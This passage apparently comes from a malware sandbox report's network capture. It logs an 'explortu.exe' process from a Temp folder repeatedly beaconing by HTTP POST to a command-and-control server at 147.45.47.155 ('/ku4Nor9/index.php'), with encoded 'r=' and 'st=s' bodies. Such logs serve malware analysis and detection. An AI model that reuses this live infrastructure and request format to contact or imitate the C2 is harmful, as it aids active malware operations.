Jun 26, 2024 08:17:24.874540091 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:25.083256960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49852	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:25.194922924 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:25.866353035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:25.867239952 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:26.074873924 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49853	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.195067883 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49854	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.210959911 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49855	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.337615967 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49856	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.348171949 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49857	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.475935936 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49858	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.491559029 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49859	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.616437912 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49860	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:26.627304077 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:27.299634933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49861	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:27.414160967 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:28.080810070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:28.083070040 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:28.289485931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49862	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:28.398638010 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:29.074209929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:29.075670958 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:29.283612967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49863	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:29.398324966 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:30.064310074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:30.065252066 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:30.272205114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49864	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:30.382694960 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:31.047235012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:31.050762892 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:31.257407904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49865	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:31.370042086 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:32.039052963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:32.040075064 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:32.246757984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49867	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:32.368578911 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49868	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:32.385864973 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49869	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:32.507981062 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49870	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:32.519923925 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49871	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:32.633758068 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:33.329248905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:33.337260962 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:33.549616098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49872	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:33.663784981 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
